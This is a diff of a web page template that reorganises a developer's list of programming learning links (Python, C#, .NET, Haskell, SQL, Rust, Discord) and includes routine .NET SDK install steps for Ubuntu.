-        <img src="/media/files/400px-QR_Code_Structure_Example_3.svg.png" width="100%" alt="QR Code" class="bg-white rounded-1 p-1" style="max-width: 375px;">
-        <figcaption class="figure-caption mt-2">QR Code System Image</figcaption>
-      </figure>
-      <p class="my-3">Please note that if a link is a <a href="javascript:void(0)" class="link-warning">warning link</a>, the resource is not in the primary language here of English and is instead German. </p>
-      <Accordion parent="resourcesAccordion">
-        <Fragment slot="accordion-content">
-          <AccordionItem title="Learning Resources" id="learningresources" parent="resourcesAccordion">
-            <Fragment slot="accordion-item-content">
-              <h4>Learning Resources</h4>
-              <p>
-                <a href="https://w3schools.com/">W3Schools</a>
-                <a href="https://www.tutorialsteacher.com/">TutorialsTeacher</a>
-                <a href="https://stackexchange.com/">StackExchange</a>
-                <a href="https://www.stackoverflow.com/">StackOverflow</a>
-                <a href="https://chat.openai.com/chat">ChatGPT</a>
-                <a href="https://developer.mozilla.org/">MDN Web Docs</a>
-                <a href="https://www.codecademy.com/">CodeAcademy</a>
-                <a href="https://www.freecodecamp.org/">FreeCodeCamp</a>
-                <a href="https://devdocs.io/">DevDocs</a>
-                <a href="https://github.com/google/styleguide">Google's Style Guide</a>
-                <a href="https://leetcode.com/">Leetcode</a>
-                <a href="https://imposterdevs.com/">Imposter Devs</a>
-                <a href="https://www.edx.org/learn">EDX Courses</a>
-                <a href="https://www.sporcle.com/games/moogles/programlanguages">Programming Quiz</a>
-                <a href="https://progle.net/">progle()</a>
-                <a href="https://roadmap.sh/">Roadmaps for Languages</a>
-                <a href="https://www.youtube.com/watch?v=rYnbspEcKJw">Organizing Code</a>
-                <a href="https://github.com/codecrafters-io/build-your-own-x">Build your own X</a>
-                <a href="https://github.com/donnemartin/system-design-primer">System Design Primer</a>
-                <a href="https://github.com/trimstray/the-book-of-secret-knowledge">Book of Secret Knowledge</a>
-                <a href="https://github.com/practical-tutorials/project-based-learning">Project Based Learning</a>
-                <a href="https://www.digitalocean.com/community/tutorials">Digital Ocean - Community Resources</a>
-                <a href="https://learn.microsoft.com/en-us/docs/">Microsoft's Documentation</a>
-                <a href="https://markdownguide.org">Markdown Documentation</a>
-                <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide">Mozilla JS Tutorials</a>
-                <a href="https://devhints.io/lua">Lua Cheatsheet</a>
-                <a href="https://typehero.dev/explore">Learn TypeScript</a>
-                <a href="https://javascript.info/">Modern JavaScript Tutorial</a>
-                <a href="https://github.com/donnemartin/system-design-primer">Learn System Design</a>
-                <a href="https://en.wikibooks.org/">WikiBooks</a>
-                <a href="https://university.webflow.com/">Webflow University</a>
-                <a href="https://youtube.com/playlist?list=PLr3d3QYzkw2xabQRUpcZ_IBk9W50M9pe-&si=EYMJrwqxIqlYXCZw">Learning PHP The Right Way</a>
-                <a href="https://caniuse.com/">CanIUse?</a>
-                <a href="https://refactoring.guru/">Refactoring Guru</a>
-                <a href="https://wiki.archlinux.org/title/Pacman/Tips_and_tricks#Removing_unused_packages_(orphans))">Pacman Tips and Tricks (Arch)</a>
-                <a href="https://averagelinuxuser.com/clean-arch-linux/#1-clean-package-cache">Arch Linux Clean Instructions</a>
-                <a href="https://tldp.org/HOWTO/Bash-Prompt-HOWTO/index.html">How to Bash</a>
-                <a href="https://www.youtube.com/watch?v=IHy57Lrzkb4">The Pro Tutorials you've never seen if you use Blender</a>
-                <a href="https://youtu.be/3wsVLG-dxg8?si=tKSH_9fla-15defj">Cursor AI -  Software Devs are Cooked</a>
-                <a href="https://sadh.life/post/ast/">Tushar's Learning Blog</a>
-                <a href="https://opendir.cloud/">OpenDir (Resource Cloud)</a>
-                <a href="https://pikuma.com/blog/isometric-projection-in-games">Isometric Project in Games</a>
-                <a href="https://youtu.be/NmM9HA2MQGI">How to do Secret Key Exchange</a>
-                <a href="https://www.youtube.com/watch?v=7mdc-lRrW1c">Series and Parallel Circuits</a>
-                <a href="https://youtube.com/shorts/nZuWCo52wTg?si=k3P9AgZfFjkslhvz">Architectural Patterns</a>
-                <a href="https://www.youtube.com/watch?v=2qlcY9LkFik">Software Planning and Technical Documentation</a>
-                <a href="https://www.youtube.com/watch?v=9ElrcTtAxzA">The Secret Science of Perfect Spacing Part 1</a>
-                <a href="https://www.youtube.com/watch?v=r1DANFZYJDw">The Secret Science of Perfect Spacing Part 2</a>
-                <a href="https://evilmartians.com/chronicles/how-to-favicon-in-2021-six-files-that-fit-most-needs">How to Favicon</a>
-              </p>
-              <Accordion parent="learningresourcesAccordion">
-                <Fragment slot="accordion-content">
-                  <AccordionItem title="Python Resources" id="pythonresources" parent="learningresourcesAccordion">
-                    <Fragment slot="accordion-item-content">
-                      <h5>Python Resources</h5>
-                      <p>
-                        <a href="https://www.w3schools.com/python/">W3Schools Python Resources</a>
-                        <a href="https://runestone.academy/ns/books/published/pythonds3/index.html">Problem Solving with Algorithms and Data Structures using Python</a>
-                        <a href="https://code-maven.com/catch-control-c-in-python">Signal handling: Catch Ctrl-C in Python</a>
-                        <a href="https://www.youtube.com/watch?v=-zsV0_QrfTw">__new__ vs __init__ in Python</a>
-                        <a href="https://www.programiz.com/python-programming/user-defined-exception">Python Custom Exceptions</a>
-                        <a href="https://blog.miguelgrinberg.com/post/the-ultimate-guide-to-python-decorators-part-i-function-registration">The Ultimate Guide to Python Decorators, Part I: Function Registration</a>
-                        <a href="https://youtu.be/vRhPOE2uTGA">Port Scanning Tool w/ Python</a>
-                        <a href="https://www.youtube.com/watch?v=-29xf_deQQus">40 Python Libraries Explained</a>
-                        <a href="https://github.com/extremecoders-re/nuitka-extractor">Nuitka Extractor</a>
-                        <a href="https://github.com/idapython/src">IDAPython Plugin</a>
-                      </p>
-                    </Fragment>
-                  </AccordionItem>
-                  <AccordionItem title="Haskell Resources" id="haskellresources" parent="learningresourcesAccordion">
-                    <Fragment slot="accordion-item-content">
-                      <h5>Haskell Resources</h5>
-                      <p>
-                        <a href="https://www.haskell.org/">Haskell Documentation</a>
-                        <a href="https://wiki.haskell.org/">Haskell Wiki</a>
-                        <a href="https://hoogle.haskell.org/">Haskell Packages</a>
-                        <a href="https://hackage.haskell.org/">Learning about Haskell Packages</a>
-                        <a href="https://mmhaskell.com/">Monday Morning Haskell</a>
-                        <a href="http://learnyouahaskell.com/">LearnYouAHaskell</a>
-                        <a href="https://devtut.github.io/haskell">DevTut Haskell Tutorials</a>
-                        <a href="https://youtu.be/Vgu82wiiZ90?list=PLe7Ei6viL6jGp1Rfu0dil1JH1SHk9bgDV">Haskell Basics</a>
-                      </p>
-                    </Fragment>
-                  </AccordionItem>
-                  <AccordionItem title="C / C++ Resources" id="cppresources" parent="learningresourcesAccordion">
-                    <Fragment slot="accordion-item-content">
-                      <h5>C Resources</h5>
-                      <p>
-                        <a href="https://www.w3schools.com/c/index.php">W3Schools C Tutorials</a>
-                        <a href="https://www.learnc.org">LearnC.org</a>
-                        <a href="https://www.learnc.net">LearnC.net
-                      </p>
-                      <h5>C++ Resources</h5>
-                      <p>
-                        <a href="https://www.w3schools.com/cpp/default.asp">W3Schools C++ Tutorials</a>
-                        <a href="https://www.learncpp.com/">learncpp</a>
-                      </p>
-                    </Fragment>
-                  </AccordionItem>
-                  <AccordionItem title="C# Resources" id="csharpresources" parent="learningresourcesAccordion">
-                    <Fragment slot="accordion-item-content">
-                      <h5>C# Resources</h5>
-                      <p>
-                        <a href="https://learn.microsoft.com/en-us/dotnet/csharp">C# / dotnetDocumentation</a>
-                        <a href="https://www.c-sharpcorner.com/">C# Corner</a>
-                        <a href="https://www.c-sharpcorner.com/csharp-tutorials">C# Corner - Tutorials</a>
-                        <a href="https://www.tutorialsteacher.com/csharp/">C# TutorialsTeacher</a>
-                        <a href="https://sharplab.io">C# Compiler Playground</a>
-                        <a href="https://learn.microsoft.com/en-us/dotnet/api/system.configuration.configurationmanager?view=windowsdesktop-7.0">ConfigurationManager C#</a>
-                        <a href="https://auth0.com/blog/introduction-to-async-programming-in-csharp/">Async I/O in C#</a>
-                        <a href="https://www.youtube.com/watch?v=z4SB5BkQX7M">Making IDs safer in C#</a>
-                        <a href="https://www.youtube.com/watch?v=sGwfwtkaDfk">Testing Tests (C#)</a>
-                        <a href="https://stryker-mutator.io/docs/stryker-net/getting-started/">Mutational Testing</a>
-                      </p>
-                      <h5>C# Hashing with Salt and Pepper</h5>
-                      <p>
-                        <a href="https://www.vb-paradise.de/index.php/Thread/133457-Sha256-hashing-von-Userdaten-Name-Pwd-inkl-Salt-und-Pepper-Hab-ich-das-korrekt-u/" class="link-warning">Source (German)</a>
-                      </p>
-                      <p> There are outdated files on the source, if you need to, use the updated files of the <a href="/media/files/csharpsaltpepper.1.cs">first code block</a> and the <a href="/media/files/csharpsaltpepper.2.cs">second code block</a>. </p>
-                      <h5>Inversion of Control Series</h5>
-                      <p>
-                        <a href="https://dotnettutorials.net/lesson/introduction-to-inversion-of-control/">Introduction</a>
+      <hr>
+      <div id="resources-alt">
+        <h2> Resources </h2>
+        <div class="my-2 d-grid d-md-flex gap-2 text-center">
+          <div class="d-flex flex-wrap row-cols-3 rounded-2 overflow-hidden text-white col-12 col-md-6">
+            <b class="col-12 py-2 bg-secondary">Contributors</b>
+            <div class="col py-2 bg-secondary">#1</div>
+            <div class="col py-2 bg-secondary">#2</div>
+            <div class="col py-2 bg-secondary">#3</div>
+            <a href="https://github.com/Savageboitim13" class="btn btn-primary rounded-0 py-2 col">venenjean</a>
+            <a href="https://zoezo.dev" class="btn btn-primary rounded-0 py-2 col">Zoezo</a>
+            <a href="https://tryhackme.com/p/social" class="btn btn-primary rounded-0 py-2 col">Social</a>
+          </div>
+          <div class="d-flex flex-wrap row-cols-3 rounded-2 overflow-hidden text-white col-12 col-md-6">
+            <b class="col-12 py-2 bg-secondary align-middle">Additional Sources</b>
+            <a href="https://discord.gg/pYa87Bhau9" class="btn btn-primary rounded-0 py-2 col-lg col-12 align-middle">Royal Stack Alliance</a>
+            <a href="https://discord.com/invite/ring-zer0-827712340954578954" class="btn btn-primary rounded-0 py-2 col-lg col-12 align-middle">Ring Zer0</a>
+          </div>
+        </div>
+        <figure class="figure mt-2 mb-0">
+          <img src="/media/files/400px-QR_Code_Structure_Example_3.svg.png" width="100%" alt="QR Code" class="bg-white rounded-1 p-1" style="max-width: 375px;">
+          <figcaption class="figure-caption mt-2">QR Code System Image</figcaption>
+        </figure>
+        <p class="my-3">Please note that if a link is a <a href="javascript:void(0)" class="link-warning">warning link</a>, the resource is not in the primary language here of English and is instead German. </p>
+        <Accordion parent="resourcesAccordion">
+          <Fragment slot="accordion-content">
+            <AccordionItem title="Learning Resources" id="learningresources" parent="resourcesAccordion">
+              <Fragment slot="accordion-item-content">
+                <h3>Learning Resources</h3>
+                <p>
+                  <a href="https://w3schools.com/">W3Schools</a><br>
+                  <a href="https://www.tutorialsteacher.com/">TutorialsTeacher</a><br>
+                  <a href="https://stackexchange.com/">StackExchange</a><br>
+                  <a href="https://www.stackoverflow.com/">StackOverflow</a><br>
+                  <a href="https://chat.openai.com/chat">ChatGPT</a><br>
+                  <a href="https://www.codecademy.com/">CodeAcademy</a><br>
+                  <a href="https://www.freecodecamp.org/">FreeCodeCamp</a><br>
+                  <a href="https://devdocs.io/">DevDocs</a><br>
+                  <a href="https://leetcode.com/">Leetcode</a><br>
+                  <a href="https://imposterdevs.com/">Imposter Devs</a><br>
+                  <a href="https://books.goalkicker.com/">GoalKicker Programming Books</a><br>
+                  <a href="https://www.edx.org/learn">EDX Courses</a><br>
+                  <a href="https://www.sporcle.com/games/moogles/programlanguages">Programming Quiz</a><br>
+                  <a href="https://progle.net/">progle()</a><br>
+                  <a href="https://roadmap.sh/">Roadmaps for Languages</a><br>
+                  <a href="https://www.youtube.com/watch?v=rYnbspEcKJw">Organizing Code</a><br>
+                  <a href="https://github.com/codecrafters-io/build-your-own-x">Build your own X</a><br>
+                  <a href="https://github.com/donnemartin/system-design-primer">System Design Primer</a><br>
+                  <a href="https://github.com/trimstray/the-book-of-secret-knowledge">Book of Secret Knowledge</a><br>
+                  <a href="https://github.com/practical-tutorials/project-based-learning">Project Based Learning</a><br>
+                  <a href="https://www.digitalocean.com/community/tutorials">Digital Ocean - Community Resources</a><br>
+                  <a href="https://learn.microsoft.com/en-us/docs/">Microsoft's Documentation</a><br>
+                  <a href="https://github.com/donnemartin/system-design-primer">Learn System Design</a><br>
+                  <a href="https://en.wikibooks.org/">WikiBooks</a><br>
+                  <a href="https://youtube.com/playlist?list=PLr3d3QYzkw2xabQRUpcZ_IBk9W50M9pe-&si=EYMJrwqxIqlYXCZw">Learning PHP The Right Way</a><br>
+                  <a href="https://caniuse.com/">CanIUse?</a><br>
+                  <a href="https://refactoring.guru/">Refactoring Guru</a><br>
+                  <a href="https://sourcemaking.com/">Source Making</a><br>
+                  <a href="https://youtu.be/3wsVLG-dxg8?si=tKSH_9fla-15defj">Cursor AI -  Software Devs are Cooked</a><br>
+                  <a href="https://sadh.life/post/ast/">Tushar's Learning Blog</a><br>
+                  <a href="https://opendir.cloud/">OpenDir (Resource Cloud)</a><br>
+                  <a href="https://pikuma.com/blog/isometric-projection-in-games">Isometric Project in Games</a><br>
+                  <a href="https://youtu.be/NmM9HA2MQGI">How to do Secret Key Exchange</a><br>
+                  <a href="https://www.youtube.com/watch?v=7mdc-lRrW1c">Series and Parallel Circuits</a><br>
+                  <a href="https://youtube.com/shorts/nZuWCo52wTg?si=k3P9AgZfFjkslhvz">Architectural Patterns</a><br>
+                  <a href="https://www.youtube.com/watch?v=2qlcY9LkFik">Software Planning and Technical Documentation</a><br>
+                </p>
+                <Accordion parent="learningresourcesAccordion">
+                  <Fragment slot="accordion-content">
+                    <AccordionItem title="Python Resources" id="pythonresources" parent="learningresourcesAccordion">
+                      <Fragment slot="accordion-item-content">
+                        <h4>Python Resources</h4>
+                        <p>
+                          <a href="https://www.w3schools.com/python/">W3Schools Python Resources</a><br>
+                          <a href="https://runestone.academy/ns/books/published/pythonds3/index.html">Problem Solving with Algorithms and Data Structures using Python</a><br>
+                          <a href="https://code-maven.com/catch-control-c-in-python">Signal handling: Catch Ctrl-C in Python</a><br>
+                          <a href="https://www.youtube.com/watch?v=-zsV0_QrfTw">__new__ vs __init__ in Python</a><br>
+                          <a href="https://www.programiz.com/python-programming/user-defined-exception">Python Custom Exceptions</a><br>
+                          <a href="https://blog.miguelgrinberg.com/post/the-ultimate-guide-to-python-decorators-part-i-function-registration">The Ultimate Guide to Python Decorators, Part I: Function Registration</a><br>
+                          <a href="https://youtu.be/vRhPOE2uTGA">Port Scanning Tool w/ Python</a><br>
+                          <a href="https://www.youtube.com/watch?v=-29xf_deQQus">40 Python Libraries Explained</a><br>
+                          <a href="https://github.com/extremecoders-re/nuitka-extractor">Nuitka Extractor</a><br>
+                          <a href="https://github.com/idapython/src">IDAPython Plugin</a><br>
+                        </p>
+                      </Fragment>
+                    </AccordionItem>
+                    <AccordionItem title="Haskell Resources" id="haskellresources" parent="learningresourcesAccordion">
+                      <Fragment slot="accordion-item-content">
+                        <h4>Haskell Resources</h4>
+                        <p>
+                          <a href="https://www.haskell.org/">Haskell Documentation</a><br>
+                          <a href="https://wiki.haskell.org/">Haskell Wiki</a><br>
+                          <a href="https://hoogle.haskell.org/">Haskell Packages</a><br>
+                          <a href="https://hackage.haskell.org/">Learning about Haskell Packages</a><br>
+                          <a href="https://mmhaskell.com/">Monday Morning Haskell</a><br>
+                          <a href="http://learnyouahaskell.com/">LearnYouAHaskell</a><br>
+                          <a href="https://devtut.github.io/haskell">DevTut Haskell Tutorials</a><br>
+                          <a href="https://youtu.be/Vgu82wiiZ90?list=PLe7Ei6viL6jGp1Rfu0dil1JH1SHk9bgDV">Haskell Basics</a>
+                        </p>
+                      </Fragment>
+                    </AccordionItem>
+                    <AccordionItem title="C / C++ Resources" id="cppresources" parent="learningresourcesAccordion">
+                      <Fragment slot="accordion-item-content">
+                        <h4>C Resources</h4>
+                        <p>
+                          <a href="https://www.w3schools.com/c/index.php">W3Schools C Tutorials</a><br>
+                          <a href="https://www.learnc.org">LearnC.org</a><br>
+                          <a href="https://www.learnc.net">LearnC.net</a>
+                        </p>
+                        <h4>C++ Resources</h4>
+                        <p>
+                          <a href="https://www.w3schools.com/cpp/default.asp">W3Schools C++ Tutorials</a><br>
+                          <a href="https://www.learncpp.com/">learncpp</a>
+                        </p>
+                      </Fragment>
+                    </AccordionItem>
+                    <AccordionItem title="C# Resources" id="csharpresources" parent="learningresourcesAccordion">
+                      <Fragment slot="accordion-item-content">
+                        <h4>C# Resources</h4>
+                        <p>
+                          <a href="https://learn.microsoft.com/en-us/dotnet/csharp">C# / dotnetDocumentation</a><br>
+                          <a href="https://www.c-sharpcorner.com/">C# Corner</a><br>
+                          <a href="https://www.c-sharpcorner.com/csharp-tutorials">C# Corner - Tutorials</a><br>
+                          <a href="https://www.tutorialsteacher.com/csharp/">C# TutorialsTeacher</a><br>
+                          <a href="https://sharplab.io">C# Compiler Playground</a><br>
+                          <a href="https://learn.microsoft.com/en-us/dotnet/api/system.configuration.configurationmanager?view=windowsdesktop-7.0">ConfigurationManager C#</a><br>
+                          <a href="https://scottkuhl.medium.com/building-production-ready-applications-24405c706707">Making Production Ready C# Applications</a><br>
+                          <a href="https://auth0.com/blog/introduction-to-async-programming-in-csharp/">Async I/O in C#</a><br>
+                          <a href="https://www.youtube.com/watch?v=z4SB5BkQX7M">Making IDs safer in C#</a><br>
+                          <a href="https://www.youtube.com/watch?v=sGwfwtkaDfk">Testing Tests (C#)</a><br>
+                          <a href="https://stryker-mutator.io/docs/stryker-net/getting-started/">Mutational Testing</a>
+                        </p>
+                        <h4>C# Hashing with Salt and Pepper</h4>
+                        <p>
+                          <a href="https://www.vb-paradise.de/index.php/Thread/133457-Sha256-hashing-von-Userdaten-Name-Pwd-inkl-Salt-und-Pepper-Hab-ich-das-korrekt-u/" class="link-warning">Source (German)</a>
+                        </p>
+                        <p> There are outdated files on the source, if you need to, use the updated files of the <a href="/media/files/csharpsaltpepper.1.cs">first code block</a> and the <a href="/media/files/csharpsaltpepper.2.cs">second code block</a>. </p>
+                        <h4>Inversion of Control Series</h4>
+                        <p>
+                          <a href="https://dotnettutorials.net/lesson/introduction-to-inversion-of-control/">Introduction</a>
+                          <br>
+                          <a href="https://dotnettutorials.net/lesson/inversion-of-control/">Inversion of Control</a>
+                          <br>
+                          <a href="https://dotnettutorials.net/lesson/dependency-inversion-principle-csharp-ioc/">IoC with Dependency Inversion Principle</a>
+                          <br>
+                          <a href="https://dotnettutorials.net/lesson/dependency-injection-design-pattern/">Dependency Injection</a>
+                          <br>
+                          <a href="htstps://dotnettutorials.net/lesson/ioc-container-in-csharp/">IoC container</a>
+                        </p>
+                        <h4>Dependency Injection for AvaloniaUI</h4>
+                        <strong>Sources</strong>
                         <br>
-                        <a href="https://dotnettutorials.net/lesson/inversion-of-control/">Inversion of Control</a>
                         <br>
-                        <a href="https://dotnettutorials.net/lesson/dependency-inversion-principle-csharp-ioc/">IoC with Dependency Inversion Principle</a>
+                        <p>
+                          <a href="https://github.com/Kaharonus/Avalonia.Extensions.DependencyInjection">GitHub</a><br>
+                          <a href="https://www.reddit.com/r/AvaloniaUI/comments/ssplp9/microsoftextensionsdependencyinjection_to_inject/">Reddit + GitHub</a><br>
+                          <a href="https://dev.to/ingvarx/avaloniaui-dependency-injection-4aka">Dev.to</a>
+                        </p>
+                        <p>
+                          <a href="https://www.youtube.com/watch?v=q6lFGr2DeHQ&amp;t=199s">MammaMiaDev - YouTube</a> - Explains some possibilities.
+                        </p>
+                        <p>
+                          <a href="https://github.com/MammaMiaDev/avaloniaui-the-series/blob/main/AvaloniaApplication/App.axaml.cs">MammaMiaDev - GitHub</a> - Example repository for DI in context with Views &amp; ViewModels | <code>Showing App.xaml.cs</code>
+                        </p>
+                        <p>
+                          <strong>REQUIRED</strong>: Implement the <code>RegisterViewFactory</code> from <code>ViewLocator.cs</code>. It can be used for other stuff except Views &amp; ViewModels.
+                        </p>
+                        <hr>
+                        <strong>Setup for Rider</strong>
                         <br>
-                        <a href="https://dotnettutorials.net/lesson/dependency-injection-design-pattern/">Dependency Injection</a>
                         <br>
-                        <a href="htstps://dotnettutorials.net/lesson/ioc-container-in-csharp/">IoC container</a>
-                      </p>
-                      <h5>Dependency Injection for AvaloniaUI</h5>
-                      <strong>Sources</strong>
-                      <br>
-                      <br>
-                      <p>
-                        <a href="https://github.com/Kaharonus/Avalonia.Extensions.DependencyInjection">GitHub</a>
-                        <a href="https://www.reddit.com/r/AvaloniaUI/comments/ssplp9/microsoftextensionsdependencyinjection_to_inject/">Reddit + GitHub</a>
-                        <a href="https://dev.to/ingvarx/avaloniaui-dependency-injection-4aka">Dev.to</a>
-                      </p>
-                      <p>
-                        <a href="https://www.youtube.com/watch?v=q6lFGr2DeHQ&amp;t=199s">MammaMiaDev - YouTube</a> - Explains some possibilities.
-                      </p>
-                      <p>
-                        <a href="https://github.com/MammaMiaDev/avaloniaui-the-series/blob/main/AvaloniaApplication/App.axaml.cs">MammaMiaDev - GitHub</a> - Example repository for DI in context with Views &amp; ViewModels | <code>Showing App.xaml.cs</code>
-                      </p>
-                      <p>
-                        <strong>REQUIRED</strong>: Implement the <code>RegisterViewFactory</code> from <code>ViewLocator.cs</code>. It can be used for other stuff except Views &amp; ViewModels.
-                      </p>
-                      <hr>
-                      <strong>Setup for Rider</strong>
-                      <br>
-                      <br>
-                      <p>
-                        <b>Pre-conditions:</b> Add package source (image1).
-                      </p>
-                      </p>
-                      <hr>
-                      <strong>Instructions</strong>
-                      <br>
-                      <br>
-                      <p>Source Values:</p>
-                      <ul>
-                        <li>
-                          <b>Name:</b> Windows Community Toolkit Labs (or decide as you want)
-                        </li>
-                        <li>
-                          <b>URL:</b>
-                          <a class="text-wrap" href="https://pkgs.dev.azure.com/dotnet/CommunityToolkit/_packaging/CommunityToolkit-Labs/nuget/v3/index.json">https://pkgs.dev.azure.com/dotnet/CommunityToolkit/_packaging/CommunityToolkit-Labs/nuget/v3/index.json</a> | <strong>REQUIRED</strong>
-                        </li>
-                        <li>
-                          <b>User:</b> Rider account name
-                        </li>
-                        <li>
-                          <b>Password:</b> Rider account password
-                        </li>
-                      </ul>
-                      <hr>
-                      <strong>Background Information</strong>
-                      <br>
-                      <br>
-                      <p>By this action you are modifying the NetGet.config file, which applies configurations to the NuGet package manager on your local machine.</p>
-                      <p>Afterwards install the package from Rider&#39;s NuGet Window as usual and you&#39;re off to the races.</p>
-                      <hr>
-                      <strong>Other GitHub Repos</strong>
-                      <br>
-                      <br>
-                      <p>
-                        <a href="https://github.com/CommunityToolkit/WindowsCommunityToolkit/wiki/Preview-Packages#toolkit-labs-">Official Instructions on adding the Community Toolkit as a NuGet packages source</a> - Instructions are derived from this.
-                      </p>
-                      <p>
-                        <a href="https://github.com/stevemonaco/AvaloniaViewModelFirstDemos?tab=readme-ov-file">Create an AOT-friendly ViewLocator</a> - MammaMiaDev is derived from this.
-                      </p>
-                    </Fragment>
-                  </AccordionItem>
-                  <AccordionItem title="SQL Resources" id="sqlresources" parent="learningresourcesAccordion">
-                    <Fragment slot="accordion-item-content">
-                      <h5>SQL Resources</h5>
-                      <p>
-                        <a href="https://www.w3schools.com/sql/default.asp">W3Schools SQL Tutorials</a>
-                        <a href="https://www.litedb.org/docs/getting-started/">LiteDB</a>
-                        <a href="https://docs.oracle.com/cd/E17952_01/connector-net-en/index.html">.NET SQL Connecter Documentation</a>
-                        <a href="https://mysqlconnector.net/">MySQLConnecter</a>
-                        <a href="https://www.youtube.com/watch?v=4q-keGvUnag">DB Relation Models</a>
-                        <a href="https://www.dbdiagram.io/home">Code Like DB Visualization</a>
-                        <a href="https://www.sqlstyle.guide">SQL Style Guide</a>
-                        <a href="https://goteleport.com/blog/securing-postgres-postgresql/">Securing Your PostgreSQL Database</a>
-                      </p>
-                    </Fragment>
-                  </AccordionItem>
-                  <AccordionItem title=".NET Resources" id="dotnetresources" parent="learningresourcesAccordion">
-                    <Fragment slot="accordion-item-content">
-                      <h5>.NET Resources</h5>
-                      <p>
-                        <a href="https://learn.microsoft.com/en-us/dotnet/csharp">C# / dotnetDocumentation</a>
-                        <a href="https://dotnettutorials.net">DotNet Tutorials</a>
-                        <a href="https://dotnet.microsoft.com/en-us/download">Download .NET</a>
-                        <a href="https://dotnet.microsoft.com/en-us/download/dotnet-framework">Download .NET Framework</a>
-                        <a href="https://docs.oracle.com/cd/E17952_01/connector-net-en/index.html">.NET SQL Connecter Documentation</a>
-                        <a href="https://codinghelmet.com/articles/threadexc">How to Handle Exceptions from Background Worker Thread in .NET</a>
-                        <a href="https://dotnettutorials.net/lesson/unit-of-work-pattern-in-asp-net-core-mvc-using-ef-core">Unit of Work Pattern</a>
-                        <a href="https://learn.microsoft.com/en-us/aspnet/mvc/overview/older-versions/getting-started-with-ef-5-using-mvc-4/implementing-the-repository-and-unit-of-work-patterns-in-an-asp-net-mvc-application">UoW Pattern + Repo Docs</a>
-                      </p>
-                      <h5>Clean Project Architecture</h5>
-                      <p>
-                        <a href="/media/pdf/clean-architecture-a-craftsmans-guide-to-software-structure-and-design_compress.pdf">PDF Guide</a>
-                        <a href="https://github.com/jasontaylordev/CleanArchitecture">Template 1</a>
-                        <a href="https://github.com/ardalis/CleanArchitecture">Template 2</a>
-                        <a href="https://github.com/amantinband/clean-architecture">Template 3</a>
-                        <a href="https://stackoverflow.com/questions/74781704/how-to-make-nlog-v5-work-with-avalonia-android">StackOverflow w/ NLog</a>
-                        <a href="https://www.youtube.com/watch?v=YiVqwoFMieg">Explanation Video</a>
-                      </p>
-                      <p>
-                        <a href="https://tutorials.eu/c-sharp-solution-structure/">Tutorials EU - C# Solution Strucure</a>
-                        <a href="https://www.jamesmichaelhickey.com/how-to-structure-your-dot-net-solutions-design-and-trade-offs/">.NET Architecture: How To Structure Your Solutions - Design </a>
-                        <a href="https://www.reddit.com/r/csharp/comments/k21qjv/can_anyone_show_me_the_proper_project_structure/?rdt=60419">Redit - Proper project strucure</a>
-                      </p>
-                      <p>
-                        <a href="https://gist.github.com/davidfowl/ed7564297c61fe9ab814">https://gist.github.com/davidfowl/ed7564297c61fe9ab814</a>
-                        <a href="https://www.youtube.com/watch?v=YiVqwoFMieg">Nick Chapsas - How to structure a .NET Solution (project separation &amp; architecture)</a>
-                      </p>
-                      <h5>Installing .NET 8.0 SDK on Ubuntu Server 24.04 LTS</h5>
-                      <p>
-                        <code>wget -O - https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor | sudo tee /etc/apt/keyrings/microsoft.gpg</code>
-                      </p>
-                      <p>Create a file -&gt; <code>/etc/apt/sources.list.d/microsoft.sources</code></p>
-                      <p>Paste content (JavaScript):<br>
-                        <code>
-                        Types: deb<br>
-                        URIs: https://packages.microsoft.com/ubuntu/22.04/prod/<br>
-                        Suites: jammy<br>
-                        Components: main<br>
-                        Architectures: amd64<br>
-                        Signed-By: /etc/apt/keyrings/microsoft.gpg<br>
-                        </code>
+                        <p>
+                          <b>Pre-conditions:</b> Add package source (image1).
+                        </p>
+                        </p>
+                        <hr>
+                        <strong>Instructions</strong>
                         <br>
-                      Then (Console):<br>
-                      <code>sudo apt update</code>
-                      </p>
-                      <h6>Fixing libicu dependency package issue</h6>
-                      <p>Package is at this date & time not available for Ubuntu 24.04 LTS. Paste content (Console):<br>
-                        <code>
-                        echo "deb http://archive.ubuntu.com/ubuntu jammy main" | sudo tee /etc/apt/sources.list.d/libicu-jammy.list<br>
-                        </code>
-                      <br>
-                      Pinning to lower priority to avoid conflicts with with main 24.04 repositories. Paste content (Console):<br>
-                        <code>
-                        sudo tee /etc/apt/preferences.d/libicu &lt;&lt;EOF<br>
-                        Package: libicu* <br>
-                        Pin: release n=jammy <br>
-                        Pin-Priority: 100 <br>
-                        EOF<br>
-                        </code>
-                      <br>
-                      Update system & install .NET SDK. Paste content (Console):<br>
-                        <code>
-                        sudo apt update && sudo apt install dotnet-sdk-8.0
-                        </code>
-                      </p>
-                    </Fragment>
-                  </AccordionItem>
-                  <AccordionItem title="Rust Resources" id="rustresources" parent="learningresourcesAccordion">
-                    <Fragment slot="accordion-item-content">
-                      <h5>Rust Resources</h5>
-                      <p>
-                        <a href="https://www.rust-lang.org/learn">Learn Rust</a>
-                        <a href="https://github.com/rust-lang/miri">Miri</a>
-                        <a href="https://blessed.rs/">blessed.rs</a>
-                        <a href="https://github.com/ex0dus-0x/awesome-rust-security">Rust Security</a>
-                      </p>
-                    </Fragment>
-                  </AccordionItem>
-                  <AccordionItem title="Discord Resources" id="discordresources" parent="learningresourcesAccordion">
-                    <Fragment slot="accordion-item-content">
-                      <h5>Discord Resources</h5>
-                      <p>
-                        <a href="https://discord.js.org/">Discord.js Website</a>
-                        <a href="https://discordjs.guide/">Discord.js Guide</a>
-                        <a href="https://discord.com/developers/docs/intro">Discord Developers Portal</a>
-                        <a href="https://discord.id/">Discord ID</a>
-                        <a href="https://discords.com/emoji-list/">Discord Icons</a>
-                        <a href="https://www.authorityhunter.com/how-to-revive-dead-discord-server/">Discord Server Revival</a>
-                        <a href="https://r.3v.fi/discord-timestamps/">Discord Timestamp Creator</a>
-                        <a href="https://discordresources.com/">Other Discord Resources</a>
-                        <a href="https://www.youtube.com/watch?v=c_arQ-6ElYI">Discord as Storage</a>
-                        <a href="https://dev.to/gogamic/how-to-run-discord-bot-24-7-in-ubuntu-3do0">How to run Discord Bots 24/7 w/ Ubuntu</a>
-                        <a href="https://discord.gg/QqWuTbEUrD">The Merchant's Shop!</a>
-                      </p>
-                    </Fragment>
-                  </AccordionItem>
-                  <AccordionItem title="Linux Resources" id="linuxresources" parent="learningresourcesAccordion">
-                    <Fragment slot="accordion-item-content">
